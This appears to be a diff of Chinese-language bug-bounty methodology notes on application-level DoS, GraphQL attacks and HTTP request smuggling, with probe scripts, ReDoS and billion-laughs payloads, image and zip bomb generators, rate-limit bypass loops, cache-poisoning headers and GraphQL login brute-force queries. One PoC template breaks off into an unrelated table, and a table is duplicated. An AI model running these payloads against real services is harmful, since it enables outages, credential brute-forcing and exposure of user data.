| 哈希碰撞 (CVE-2011-3414 类) | 表单大量 key 触发 HashMap O(n²) | 1000 key → 10s 处理 |
|
||||
|
||||
### 2.3 资源不限速(API 不限频 / 上传无大小限制 / 无超时)
|
||||
|
||||
应用本身没有"以 N 复 M 倍代价"的算法漏洞,但缺少 quota / cap / circuit breaker。
|
||||
真实形态:
|
||||
- moneybird #723974:`X-Forwarded-For` 改值绕过 rate limit → 暴力 / 邮件轰炸 / 账户枚举
|
||||
- HEY/Basecamp #1018037:用户名长度无上限,超长名导致服务端 500 + 客户端 Android crash
|
||||
- WordPress #2786591:未授权可访问 `/wp-admin/maint/repair.php`,反复触发 DB repair 耗尽资源
|
||||
- Discourse #3058919:reply 接受 ~800k 字符 markdown,单请求 30s + 502
|
||||
- HTTP/2 CONTINUATION flood (CVE-2024-24549 Tomcat / CVE-2024-27983 Node.js):连接级 header 缓冲无上限
|
||||
|
||||
### 2.4 内存爆炸(图片/视频/SVG 解码)
|
||||
|
||||
特殊点:解码器在解析头信息时按"声明的尺寸"分配缓冲,但实际数据可以非常小。
|
||||
典型:
|
||||
- libpng / libjpeg:声明 100000×100000 → 40GB malloc
|
||||
- SVG 嵌套 `<use>` / `<filter>`:DOM 渲染指数增长
|
||||
- 视频 H.264:高分辨率 / 高 fps / 长时长,三者乘积爆炸
|
||||
- 字体(OpenType):composite glyph 自引用 → 无限递归
|
||||
|
||||
### 2.5 数据库 DoS(无 LIMIT / 全表扫描 / 笛卡尔积 / 锁竞争)
|
||||
|
||||
- 搜索接口未 paginate:`?q=` 返回 100 万行
|
||||
- ORM N+1:评论列表每条触发 user 查询
|
||||
- LIKE `%abc%` 强制全表扫描
|
||||
- ORDER BY 大字段 + 无索引
|
||||
- 长事务 / SELECT FOR UPDATE 连接池吃光
|
||||
|
||||
### 2.6 第三方放大(DNS / NTP / Memcached 反射 — SRC 中较少)
|
||||
|
||||
通常不在 SRC scope 内(运营商 / IDC 责任)。仅当目标自身把 UDP 服务暴露在公网且响应远大于请求时才纳入评估。
|
||||
|
||||
### 2.7 业务级 DoS(无验证码暴力 / 资源占用攻击 / 业务逻辑卡死)
|
||||
|
||||
- 短信轰炸:未限制单手机号 / 单 IP 调用 `/sms/send` 频率
|
||||
- 邮件轰炸:注册 / 找回密码不限频
|
||||
- 缓存投毒(cache-poisoning DoS):一次请求毒化 CDN,所有用户拿到 4xx —— 见 #1173153 Exodus、#1160407 GitLab CDN
|
||||
- 订单卡死:批量下单不付款,占库存 30 分钟(业务 SLA 杀手)
|
||||
|
||||
---
|
||||
|
||||
## 3. 高频入口点(端点/参数/Header)
|
||||
|
||||
### 3.1 应用层最易中招端点
|
||||
|
||||
```
|
||||
# Markdown / 富文本预览
|
||||
POST /api/markdown/preview
|
||||
POST /preview_markdown
|
||||
POST /comments
|
||||
POST /issues/preview
|
||||
POST /reply
|
||||
|
||||
# 用户输入未限长
|
||||
POST /profile name / display_name / bio
|
||||
POST /signup username / email
|
||||
POST /workspace workspace_name
|
||||
|
||||
# 搜索(无 LIMIT / LIKE 通配)
|
||||
GET /search?q=
|
||||
GET /api/search?keyword=
|
||||
|
||||
# 上传(图片 / 文档 / 压缩包)
|
||||
POST /upload multipart 字段
|
||||
POST /avatar
|
||||
POST /import
|
||||
|
||||
# 维护类未授权端点
|
||||
GET /wp-admin/maint/repair.php # WordPress
|
||||
GET /admin/cache/clear # 各种 admin panel
|
||||
GET /actuator/heapdump # Spring(也是信息泄露)
|
||||
|
||||
# 解析 / 转换
|
||||
POST /api/convert 格式转换
|
||||
POST /api/render SSR / PDF 生成
|
||||
POST /graphql 嵌套查询
|
||||
```
|
||||
|
||||
### 3.2 高频危险参数 / Header
|
||||
|
||||
```
|
||||
# Header(绕过 rate limit / 触发 cache 错位)
|
||||
X-Forwarded-For # 改变值 → 重置 IP 限速桶
|
||||
X-Real-IP
|
||||
X-Originating-IP
|
||||
True-Client-IP
|
||||
Forwarded
|
||||
X-HTTP-Method-Override # → cache poisoning(GitLab CDN)
|
||||
Authorization # 异常 token 让上游返回 403 被缓存(Exodus)
|
||||
Content-Length # HTTP smuggling 配合
|
||||
Transfer-Encoding # chunked + 不限大小
|
||||
|
||||
# Body
|
||||
name / username / display_name # 无长度上限
|
||||
description / bio / content
|
||||
markdown / body / message
|
||||
filter / query # 复杂表达式
|
||||
sort # 无索引列排序
|
||||
include # 关联查询深度
|
||||
|
||||
# HTTP/2 特有
|
||||
HEADERS + N * CONTINUATION 帧 # CVE-2024-24549/27983
|
||||
SETTINGS_HEADER_TABLE_SIZE
|
||||
SETTINGS_MAX_CONCURRENT_STREAMS
|
||||
```
|
||||
|
||||
### 3.3 协议层
|
||||
|
||||
| 协议 | 入口 |
|
||||
|---|---|
|
||||
| HTTP/1.1 | `Transfer-Encoding: chunked` 无上限 chunk extension |
|
||||
| HTTP/2 | CONTINUATION flood / RST flood / 0-byte WINDOW |
|
||||
| WebSocket | 无 ping 超时 + 慢消费 |
|
||||
| GraphQL | 嵌套深度 / 别名重复 / `__schema` 内省 + 递归 |
|
||||
| gRPC | message 反复 metadata header |
|
||||
| UDP/RPC | 未授权发现服务 / 放大响应 |
|
||||
|
||||
---
|
||||
|
||||
## 4. 探测手法(黑盒视角)
|
||||
|
||||
**核心原则:先用一份请求测出"放大比",永远不真做满。**
|
||||
|
||||
### 4.1 ReDoS 探测
|
||||
|
||||
```bash
|
||||
# 找正则字段:搜索 / 邮箱 / URL / 时间 / 用户名 校验
|
||||
# 测试 payload(指数级回溯)
|
||||
EMAIL_REDOS='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!'
|
||||
TIME_REDOS='Sun, 06 Nov 1994 08:49:37 GMT' + ' '*10000 # CVE-2023-28756
|
||||
URL_REDOS='http://aa.aa.aa.aa.aa.aa.aa.aa.aa.aa.aa.aa.aa.aa.aa.aa.aa.aa.aa.aa.aa.aa.aa.aa.!'
|
||||
|
||||
# 用二倍递增法找拐点(关键:保留时间数据,禁止做满)
|
||||
for n in 10 20 30 40 50; do
|
||||
PAYLOAD=$(python3 -c "print('a'*$n + '!')")
|
||||
time curl -s "https://target/login" -d "email=$PAYLOAD" -o /dev/null
|
||||
done
|
||||
# 期望看到时间从毫秒 → 100ms → 1s → 10s → 100s(指数增长)
|
||||
# 一旦确认指数增长,立刻停止,不再加大 n
|
||||
```
|
||||
|
||||
**判定**:n 增加 10 时间增长 ≥ 4×(应该接近 2^k)= 几乎确定是 ReDoS。
|
||||
|
||||
### 4.2 大 payload 探测(markdown / json / xml)
|
||||
|
||||
```bash
|
||||
# Markdown 嵌套图片(GitLab #1543718 实测 CPU 60s)
|
||||
python3 -c "print('![l' * 200000)" > /tmp/p.md # 先用 200k 而非满 1MB
|
||||
|
||||
# 嵌套 JSON
|
||||
python3 -c "print('{\"a\":'*5000 + '1' + '}'*5000)" > /tmp/p.json
|
||||
|
||||
# Billion laughs(仅在已知接受 XML / DTD 时打)
|
||||
cat > /tmp/bl.xml <<'EOF'
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE l [
|
||||
<!ENTITY a0 "DDDD">
|
||||
<!ENTITY a1 "&a0;&a0;&a0;&a0;">
|
||||
<!ENTITY a2 "&a1;&a1;&a1;&a1;">
|
||||
<!ENTITY a3 "&a2;&a2;&a2;&a2;">
|
||||
<!ENTITY a4 "&a3;&a3;&a3;&a3;">
|
||||
]>
|
||||
<l>&a4;</l>
|
||||
EOF
|
||||
# 用 a4 而不是 a8,先验证服务器能解析 DTD
|
||||
```
|
||||
|
||||
### 4.3 GraphQL 深度 / 别名探测
|
||||
|
||||
```graphql
|
||||
# 深度爆炸(user → posts → user → posts → ...)
|
||||
query Q {
|
||||
user(id:1) {
|
||||
posts {
|
||||
author {
|
||||
posts {
|
||||
author { id }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
# 测 5 层、10 层、15 层 看响应时间
|
||||
|
||||
# 别名爆炸(同一字段 N 次)
|
||||
query Q {
|
||||
a1: user(id:1){id} a2: user(id:2){id} ... a100: user(id:100){id}
|
||||
}
|
||||
|
||||
# 内省 + 循环类型
|
||||
query { __schema { types { fields { type { fields { type { name } } } } } } }
|
||||
```
|
||||
|
||||
### 4.4 缓存投毒 DoS
|
||||
|
||||
```bash
|
||||
# 思路:找一个 header / param 会被上游解析、被 CDN 忽略,让上游返回错误,错误被缓存
|
||||
# 试探 header
|
||||
HEADERS=(
|
||||
"X-HTTP-Method-Override: POST"
|
||||
"X-Forwarded-Proto: invalid"
|
||||
"X-Forwarded-Host: evil.com"
|
||||
"Authorization: SharedKeyLite x:y" # Azure(Exodus 案)
|
||||
"Forwarded: for=invalid"
|
||||
)
|
||||
|
||||
for h in "${HEADERS[@]}"; do
|
||||
# 永远带 cachebuster 防止真投毒
|
||||
curl -is "https://target/asset.js?cachebuster=$(uuidgen)" -H "$h" | head -20
|
||||
done
|
||||
|
||||
# 信号:返回 4xx/5xx + 响应里 X-Cache: MISS(说明会被缓存)
|
||||
# 第二次同 URL 不带 header → 拿到缓存的 4xx = 投毒成功
|
||||
```
|
||||
|
||||
### 4.5 HTTP/2 协议层探测
|
||||
|
||||
```bash
|
||||
# 用 nghttp2 / h2load 检测 CVE-2024-24549 / 27983 / CONTINUATION flood
|
||||
# 探测 HEADERS + 大量 CONTINUATION 是否被 reset
|
||||
nghttp -nv https://target/ -H "x-test: $(python3 -c 'print("A"*10000)')"
|
||||
|
||||
# 观察:连接是否被立刻 RST,header 是否被无视尺寸接收
|
||||
# Tomcat / Node.js 旧版会持续接收,最终 OOM
|
||||
```
|
||||
|
||||
### 4.6 速率限制绕过探测
|
||||
|
||||
```bash
|
||||
# 绕过技巧:每次发包改一个值
|
||||
for i in $(seq 1 50); do
|
||||
curl -s "https://target/api/forgot" \
|
||||
-H "X-Forwarded-For: 10.0.$((RANDOM%255)).$((RANDOM%255))" \
|
||||
-d 'email=victim@example.com' \
|
||||
-o /dev/null -w '%{http_code}\n'
|
||||
done
|
||||
# 没有 429 = 限速可绕。停在 50 次足够证明,绝不真做满 1000+
|
||||
```
|
||||
|
||||
### 4.7 上传 / 解码炸弹探测(高风险,先在本地复现)
|
||||
|
||||
```bash
|
||||
# 图像炸弹:声明 50000x50000 的 PNG
|
||||
python3 - <<'EOF'
|
||||
import struct, zlib
|
||||
sig = b'\x89PNG\r\n\x1a\n'
|
||||
# IHDR: width=50000, height=50000, bit_depth=8, color=2 (RGB)
|
||||
ihdr = b'IHDR' + struct.pack('>IIBBBBB', 50000,50000,8,2,0,0,0)
|
||||
crc = zlib.crc32(ihdr)
|
||||
chunk = struct.pack('>I',13) + ihdr + struct.pack('>I',crc)
|
||||
open('/tmp/bomb.png','wb').write(sig + chunk) # 文件 < 100B
|
||||
EOF
|
||||
# 上传时观察响应时间 / 错误。若服务尝试解码 → 50000*50000*3 = 7.5GB 内存
|
||||
|
||||
# zip bomb(先用 1 层小尺寸验证,禁止用 42.zip 真打)
|
||||
python3 - <<'EOF'
|
||||
import zipfile
|
||||
with zipfile.ZipFile('/tmp/small.zip','w',zipfile.ZIP_DEFLATED) as z:
|
||||
z.writestr('a.txt', 'A'*1000000) # 1MB → 压缩 ~1KB
|
||||
EOF
|
||||
```
|
||||
|
||||
### 4.8 响应特征清单
|
||||
|
||||
| 现象 | 含义 |
|
||||
|---|---|
|
||||
| 200 但响应时间 > 30s | 算法漏洞 / 慢查询 |
|
||||
| 502 / 504 | 上游已被打死或 timeout |
|
||||
| 503 + Retry-After | 限速生效(说明保护到位) |
|
||||
| Connection: close | 服务器主动断开(保护机制) |
|
||||
| 内存型:响应正常但下次更慢 | 内存泄漏,重启前会越来越差 |
|
||||
| Cache-Status / X-Cache: HIT 错误页 | 缓存投毒成功 |
|
||||
| 无 429 + 同接口高频成功 | 限速缺失 |
|
||||
|
||||
---
|
||||
|
||||
## 5. 利用与影响升级
|
||||
|
||||
### 5.1 单点 → 全局
|
||||
|
||||
```
|
||||
ReDoS(单请求 1 CPU·60s)
|
||||
→ N 并发 = N 个 CPU 满载 → 整机 down
|
||||
→ 后端是共享池 → 影响所有 tenant
|
||||
|
||||
Markdown / preview DoS(GitLab #1543718)
|
||||
→ preview API 公开(自助注册即可)
|
||||
→ 单包 1 CPU 60s,DockerHub 实例 5 包就死
|
||||
|
||||
缓存投毒(Exodus #1173153 / GitLab CDN #1160407)
|
||||
→ 一次注入毒化 CDN
|
||||
→ 所有访问该 URL 的用户拿到 4xx
|
||||
→ 影响范围 = CDN 节点覆盖(全球)
|
||||
→ TTL 长 = 直到运维手动清理
|
||||
```
|
||||
|
||||
### 5.2 经济影响
|
||||
|
||||
| 模型 | 攻击成本 | 受害者损失 |
|
||||
|---|---|---|
|
||||
| 按量计费 Lambda | $0.01 | 触发 100 万次 invoke = $200+ |
|
||||
| GraphQL / 数据库 | 一个查询 | 触发 cluster autoscale = $$ |
|
||||
| 转码 / OCR / OpenAI 中转 | 文本 100KB | 触发上游 API 计费 |
|
||||
| CDN 流量 | 触发回源 | 回源带宽 ×10 |
|
||||
| 邮件 / SMS(业务级) | 1 请求 | 单条 SMS $0.01–$0.1 × 量 |
|
||||
| 短信轰炸 | 0 成本 | 法律 + 品牌 + 罚款 |
|
||||
|
||||
### 5.3 沙箱 / 解释器升级链
|
||||
|
||||
mruby/Shopify 一系列报告(#187305 #188326 #183356 #182484 #181828 #181232 #181695 #181910 #184712 #188313 #187536 #181685 #183425 #183405)模式:
|
||||
|
||||
```
|
||||
Untrusted Ruby 输入
|
||||
→ mruby 解析 / 字节码生成 bug
|
||||
→ segfault / null deref / 越界
|
||||
→ 杀掉父 MRI 进程(沙箱 + host)
|
||||
→ 同进程其他 tenant 受影响 → multi-tenant 影响放大
|
||||
→ 部分(如 #181910 type confusion)有 RCE 潜力
|
||||
```
|
||||
|
||||
判断价值:
|
||||
- 仅 segfault → DoS
|
||||
- segfault + 控制崩溃位置 → 可能 RCE → 价值 ×10
|
||||
|
||||
---
|
||||
|
||||
## 6. 真实 H1 案例
|
||||
|
||||
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|
||||
|---|--:|---|---|---|
|
||||
| High | — | Moneybird | [Bypass password reset rate limit at moneybird.com/passwords](https://hackerone.com/reports/723974) | `X-Forwarded-For` 每次换值即绕过 429,可暴力 / 邮件轰炸 / 邮箱枚举 |
|
||||
| High | 1000 | Basecamp | [a very long name in hey.com prevents accessing contacts](https://hackerone.com/reports/1018037) | 用户名长度无上限:服务端 500、Android app 直接 crash,互踢式 DoS |
|
||||
| High | 4920 | IBB | [CVE-2024-34750 Apache Tomcat HTTP/2 DoS](https://hackerone.com/reports/2586226) | HTTP/2 流计数错误导致 infinite timeout,连接不释放,OOM 或 maxConnections 打满 |
|
||||
| High | 4860 | IBB | [DoS via HTTP/2 CONTINUATION Flood](https://hackerone.com/reports/2334401) | CVE-2024-24549,HEADERS + 大量 CONTINUATION 让 Tomcat HpackHuffman OOM |
|
||||
| High | 7640 | GitLab | [DOS via issue preview](https://hackerone.com/reports/1543718) | preview_markdown 接 1MB 嵌套图片 markdown,CPU 60s/请求,几个并发打满整机 |
|
||||
| High | 4000 | IBB | [ReDoS in Ruby Time](https://hackerone.com/reports/1929567) | CVE-2023-28756,`Time.rfc2822` ReDoS,Rack::ConditionalGet 自动调用,HTTP 请求即触 |
|
||||
| High | 3645 | IBB | [Node.js HTTP/2 Http2Session::~Http2Session() crash](https://hackerone.com/reports/2453328) | CVE-2024-27983,CONTINUATION + 突然 RST 触发析构 race,进程立即 crash |
|
||||
| High | 3495 | IBB | [Node.js HTTP unbounded chunk extension DoS](https://hackerone.com/reports/2375446) | CVE-2024-22019,chunked encoding 中 chunk extension 无上限,吃光 CPU/带宽,timeout 与 body limit 都失效 |
|
||||
| High | — | Discourse | [Application Level DoS - Large Markdown in Reply](https://hackerone.com/reports/3058919) | ~800k 字符 markdown reply 让后端 30s + 502,并发即资源耗尽 |
|
||||
| High | — | Exodus | [Cache Poisoning DoS on downloads.exodus.com](https://hackerone.com/reports/1173153) | crafted Authorization header 让 Azure 返回 403,被 Cloudflare 缓存,所有用户下载失败 |
|
||||
| High | — | GitLab | [Cache poisoning DoS on assets.gitlab-static.net](https://hackerone.com/reports/1160407) | `X-HTTP-Method-Override` 让 GCP 返回非 200,Varnish 缓存空响应,全站静态资源失效 |
|
||||
| High | — | WordPress | [Unauthenticated WordPress Database Repair DoS](https://hackerone.com/reports/2786591) | `WP_ALLOW_REPAIR=true` 时 `/wp-admin/maint/repair.php` 无认证可反复触发数据库修复 |
|
||||
| High | 10000 | Shopify Scripts | [Infinite loop on zero-length heredoc identifier](https://hackerone.com/reports/187305) | mruby 解析器在 `<<''.a begin` 上死循环,沙箱不响应 SIGTERM,需 SIGKILL |
|
||||
| High | 10000 | Shopify Scripts | [Buffer overflow in mrb_time_asctime](https://hackerone.com/reports/188326) | `Time.new-0xD00000000000000&0` segfault,buffer over-read 读取栈外字符串 |
|
||||
| High | 10000 | Shopify Scripts | [Range constructor type confusion DoS](https://hackerone.com/reports/181910) | `Range = Array; (1..2).inspect` 把 RRange.edges 当作 iv 字段访问,类型混淆潜在 RCE |
|
||||
| High | 10000 | Shopify Scripts | [Segfault with break/||= in loop](https://hackerone.com/reports/183356) | `A ||= break while break` 让 mruby 字节码生成异常,segfault 或执行非预期字节码 |
|
||||
| High | 8000 | Shopify Scripts | [DoS in mruby_engine via send/initialize alias](https://hackerone.com/reports/183425) | `alias_method :initialize, :send` 让 C 调用 Ruby 方法,segfault 父进程 |
|
||||
|
||||
**命中本类的 weakness 分布**:
|
||||
- HTTP/2 协议层(CONTINUATION / 流计数 / 析构 race):~12
|
||||
- Ruby 解释器(mruby / MRI)segfault / 死循环:~25
|
||||
- Markdown / 富文本 / preview 大 payload:~8
|
||||
- 缓存投毒 DoS:~6
|
||||
- 业务限速绕过 / 业务级洪水:~9
|
||||
- ReDoS(正则灾难性回溯):~5
|
||||
- 解码炸弹(图像 / zip / xml):~4
|
||||
- 其余(数据库 / 字段无长度限制 / 解析栈溢出):~41
|
||||
|
||||
---
|
||||
|
||||
## 7. 复现 / 证据要点
|
||||
|
||||
### 7.1 关键原则:控制烈度
|
||||
|
||||
**报告里要明示三件事**,缺一会被运营怀疑越权:
|
||||
|
||||
1. **小流量证明放大**:"1 个请求 → 60 秒 1 CPU"
|
||||
2. **立即停止**:"PoC 单次执行 ≤ 1 分钟,未做并发"
|
||||
3. **未影响他人**:"使用 cachebuster 参数确保不污染共享缓存 / 使用专用测试账号"
|
||||
|
||||
### 7.2 PoC 模板
|
||||
|
||||
```http
|
||||
# 基线:正常请求
|
||||
POST /api/preview HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 12
|
||||
|
||||
hello world
|
||||
|
||||
→ 响应时间:85ms
|
||||
→ HTTP 200
|
||||
|
||||
# 攻击:1 个请求
|
||||
POST /api/preview HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 102400
|
||||
|
||||
 | Bypass password reset rate limit protection at moneybird.com/passwords |
|
||||
| High | 1000 usd | Basecamp | [a very long name in hey.com can prevent anyone from accessing their contacts and probably can cau…](https://hackerone.com/reports/1018037) | Summary : ========= after trying to change my initial name to something long i found out that their are no limits to how long i… |
|
||||
| High | 10000 usd | shopify-scripts | [Invalid handling of zero-length heredoc identifiers leads to infinite loop in the sandbox](https://hackerone.com/reports/187305) | Introduction ============ Certain invalid Ruby programs (which should normally raise a syntax error) are able to cause an infin… |
|
||||
| High | 10000 usd | shopify-scripts | [Segfault and/or potential unwanted (byte)code execution with "break" and "//=" inside a loop](https://hackerone.com/reports/183356) | Introduction ============ Certain invalid inputs (invalid Ruby programs) crash mruby and mruby_engine (including the parent MRI… |
|
||||
| High | 10000 usd | shopify-scripts | [Buffer overflow in mrb_time_asctime](https://hackerone.com/reports/188326) | Hi, This one doesn't always crash every time, but with ASAN on it will |
|
||||
| High | 5420 usd | Internet Bug Bounty | [Possible DoS Vulnerability with Range Header in Rack](https://hackerone.com/reports/2520679) | I made a report and patch at https://hackerone.com/reports/2307813. https://discuss.rubyonrails.org/t/possible-dos-vulnerabilit… |
|
||||
| High | 10000 usd | shopify-scripts | [Broken handling of maximum number of method call arguments leads to segfault](https://hackerone.com/reports/182484) | Introduction ============ Improper logic for handling of maximum number of method call arguments leads to dereferencing an inva… |
|
||||
| High | 4920 usd | Internet Bug Bounty | [CVE-2024-34750 Apache Tomcat DoS vulnerability in HTTP/2 connector](https://hackerone.com/reports/2586226) | Hello IBB team, i would like to submit a report about Apache Tomcat DoS vulnerability that i have reported to the Tomcat team, … |
|
||||
| High | 10000 usd | shopify-scripts | [Crash: Initialize Decimal with itself triggers an assertion](https://hackerone.com/reports/185775) | When `Decimal` is initialized with itself, a new (empty) `mpd_t` will be created |
|
||||
| High | 10000 usd | shopify-scripts | [Range#initialize_copy null pointer dereference](https://hackerone.com/reports/181685) | Heya! It's possible to segfault mruby through mruby-engine with the following snippet of code: Range.remove_method(:initialize_… |
|
||||
|
||||
**命中本类的 weakness 分布:**
|
||||
|
||||
- Uncontrolled Resource Consumption:116 条
|
||||
- Uncategorized → 手工归类:19 条
|
||||
- Allocation of Resources Without Limits or Throttling:3 条
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,253 @@
|
||||
# GraphQL
|
||||
|
||||
> 视角:黑盒,针对 GraphQL 端点的特有攻击
|
||||
|
||||
## 1. 一句话说清
|
||||
|
||||
GraphQL = 一个端点(通常 `/graphql`),所有 query / mutation 走它。
|
||||
特有风险:Introspection 暴露 schema、字段级授权缺失、嵌套查询绕过权限、深度递归 DoS。
|
||||
SRC 价值:嵌套 IDOR + 字段越权 = P1。
|
||||
|
||||
---
|
||||
|
||||
## 2. 高频入口点
|
||||
|
||||
```
|
||||
/graphql /api/graphql /v1/graphql
|
||||
/graphiql /playground /api-explorer
|
||||
/graphql.php /graphql.json
|
||||
```
|
||||
|
||||
测试方法是否 GraphQL:
|
||||
|
||||
```bash
|
||||
curl -X POST -H "Content-Type: application/json" \
|
||||
-d '{"query":"query{__typename}"}' https://target/graphql
|
||||
|
||||
→ 返回 {"data":{"__typename":"Query"}} = 是 GraphQL
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. 探测手法
|
||||
|
||||
### 3.1 Introspection(最先做)
|
||||
|
||||
```graphql
|
||||
query {
|
||||
__schema {
|
||||
types {
|
||||
name
|
||||
fields {
|
||||
name
|
||||
type { name kind ofType { name } }
|
||||
args { name type { name } }
|
||||
}
|
||||
}
|
||||
queryType { name }
|
||||
mutationType { name }
|
||||
subscriptionType { name }
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# 一行命令
|
||||
curl -X POST -H "Content-Type: application/json" \
|
||||
-d '{"query":"{__schema{types{name fields{name}}}}"}' \
|
||||
https://target/graphql | jq
|
||||
|
||||
# 工具
|
||||
graphql-cop https://target/graphql
|
||||
graphqlmap
|
||||
clairvoyance(无 introspection 的 schema 推断)
|
||||
```
|
||||
|
||||
拿到 schema → 找出所有敏感字段(`password`、`ssn`、`creditCard`、`apiKey`、`balance`)。
|
||||
|
||||
### 3.2 字段级越权
|
||||
|
||||
```graphql
|
||||
# 顶层是公开 query
|
||||
query {
|
||||
publicPost(id: 123) {
|
||||
title
|
||||
author {
|
||||
email # ❌ 可能没权限校验
|
||||
phone
|
||||
orders { # ❌ 嵌套 IDOR
|
||||
id
|
||||
amount
|
||||
creditCard
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**重点**:顶层接口"看起来公开",但通过嵌套返回敏感字段。
|
||||
|
||||
### 3.3 IDOR via id
|
||||
|
||||
```graphql
|
||||
query {
|
||||
user(id: 100) { # 改成其他 ID
|
||||
email
|
||||
privateMessages { content }
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 3.4 批量查询 / 别名滥用(绕过限频)
|
||||
|
||||
```graphql
|
||||
query {
|
||||
a: login(user:"admin",pass:"a") { token }
|
||||
b: login(user:"admin",pass:"b") { token }
|
||||
c: login(user:"admin",pass:"c") { token }
|
||||
...
|
||||
z: login(user:"admin",pass:"z") { token }
|
||||
}
|
||||
# 一次请求触发 26 次登录
|
||||
```
|
||||
|
||||
绕过常规 rate-limit(每个 HTTP 请求计 1 次)。
|
||||
|
||||
### 3.5 深度递归 DoS
|
||||
|
||||
```graphql
|
||||
type User {
|
||||
friends: [User!]!
|
||||
}
|
||||
|
||||
# 攻击查询
|
||||
query {
|
||||
user(id:1) {
|
||||
friends {
|
||||
friends {
|
||||
friends {
|
||||
friends { ... 嵌套 100 层 ... }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
观察响应时间 / 超时。
|
||||
|
||||
### 3.6 Mutation Mass Assignment
|
||||
|
||||
```graphql
|
||||
mutation {
|
||||
updateUser(input: {
|
||||
id: 1,
|
||||
name: "x",
|
||||
isAdmin: true, # 试这个
|
||||
role: ADMIN
|
||||
}) { id name }
|
||||
}
|
||||
```
|
||||
|
||||
### 3.7 CSRF on GraphQL
|
||||
|
||||
```
|
||||
1. GraphQL 多数支持 GET(query 在 query string)
|
||||
2. 查 Content-Type: application/x-www-form-urlencoded 是否被接受
|
||||
3. 接受 → CSRF 可行(普通 form 即可触发)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Bypass 矩阵
|
||||
|
||||
| 拦 | 绕 |
|
||||
|---|---|
|
||||
| Introspection 关闭 | clairvoyance 字段推断 / 抓客户端代码(mobile / web)找 query |
|
||||
| 顶层鉴权 | 嵌套字段越权 |
|
||||
| 批量限频 | 别名 / 多 query |
|
||||
| 深度限制 | 折叠:`...frag` 片段循环展开 |
|
||||
| ID 类型校验 | 改 GraphQL 类型:`String` 改成 `Int`、`ID` 改成 `null` |
|
||||
|
||||
---
|
||||
|
||||
## 5. 利用提权 / 横向
|
||||
|
||||
```
|
||||
Introspection → 完整攻击面图
|
||||
嵌套 IDOR → 大批 PII
|
||||
别名 → 撞库 / 短信轰炸
|
||||
mutation Mass Assignment → 提权
|
||||
深度 → DoS
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. 真实案例指纹
|
||||
|
||||
| 案例 | 一句话 |
|
||||
|------|------|
|
||||
| GitHub GraphQL | 嵌套字段越权拿 private repo 信息 |
|
||||
| Shopify | 别名爆破登录 |
|
||||
| HackerOne 自身 | 多次报告 IDOR |
|
||||
|
||||
通用:
|
||||
- 端点返回 `{"errors":[{"message":"Cannot query field..."}]}` → GraphQL 报错有用
|
||||
- Introspection 200 → 立即拉 schema
|
||||
- mutation 接受额外字段 → Mass Assignment
|
||||
|
||||
---
|
||||
|
||||
## 7. 复现 / 证据要点
|
||||
|
||||
### 7.1 PoC
|
||||
|
||||
```http
|
||||
POST /graphql HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Type: application/json
|
||||
Authorization: Bearer A_TOKEN
|
||||
|
||||
```
|
||||
|
||||
### 7.2 Introspection
|
||||
|
||||
```bash
|
||||
curl -X POST https://target/graphql \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"query":"{__schema{types{name fields{name}}}}"}' \
|
||||
> schema.json
|
||||
|
||||
grep -A 5 -E "(password|ssn|credit|secret|key|token)" schema.json
|
||||
```
|
||||
|
||||
### 7.3 CVSS
|
||||
|
||||
```
|
||||
Introspection 暴露 = 5.3 Medium
|
||||
嵌套 IDOR PII = 6.5–8.1
|
||||
别名爆破 = 7.5
|
||||
mutation Mass Assignment → admin = 8.8–9.8
|
||||
深度递归 DoS = 5.3–6.5
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 8. 不要做的事
|
||||
|
||||
- **禁**:用别名爆破真实账号密码。在自己测试账号上演示。
|
||||
- **禁**:用深度递归 DoS 实际打瘫服务。10 层、几次请求即可证明。
|
||||
- **禁**:嵌套 IDOR 拖出大量数据。3 个不同 ID 的样本足够。
|
||||
|
||||
## H1 真实案例
|
||||
|
||||
_共 1 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
|
||||
|
||||
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|
||||
|---|--:|---|---|---|
|
||||
| Critical | 25000 usd | HackerOne | [Disclosing PolicyPageAssetGroup in Private Programs via /graphql `gid://hackerone/PolicyPageAsse…](https://hackerone.com/reports/1618347) | Summary:** Hi team, I understand what's going on Description:** Just a recent update gives the results of private programs Step… |
|
||||
_共 1 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
|
||||
|
||||
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|
||||
|---|--:|---|---|---|
|
||||
| Critical | 25000 usd | HackerOne | [Disclosing PolicyPageAssetGroup in Private Programs via /graphql `gid://hackerone/PolicyPageAsse…](https://hackerone.com/reports/1618347) | Summary:** Hi team, I understand what's going on Description:** Just a recent update gives the results of private programs Step… |
|
||||
@@ -0,0 +1,924 @@
|
||||
# HTTP Request Smuggling / HTTP/2 Desync
|
||||
|
||||
> 视角:黑盒,目标是利用前后端解析差异
|
||||
|
||||
## 1. 一句话说清
|
||||
|
||||
前置代理(CDN / WAF / Nginx)和后端服务器对 `Content-Length` / `Transfer-Encoding` 解析不一致 →
|
||||
攻击者把"半包"塞进流,影响下个用户的请求/响应。
|
||||
SRC 价值:成功的 desync = P1/P0($2k–$10k+)。
|
||||
|
||||
---
|
||||
|
||||
## 2. 类型速览
|
||||
|
||||
| 类型 | 前置代理用 | 后端用 |
|
||||
|------|----------|------|
|
||||
| **CL.TE** | Content-Length | Transfer-Encoding |
|
||||
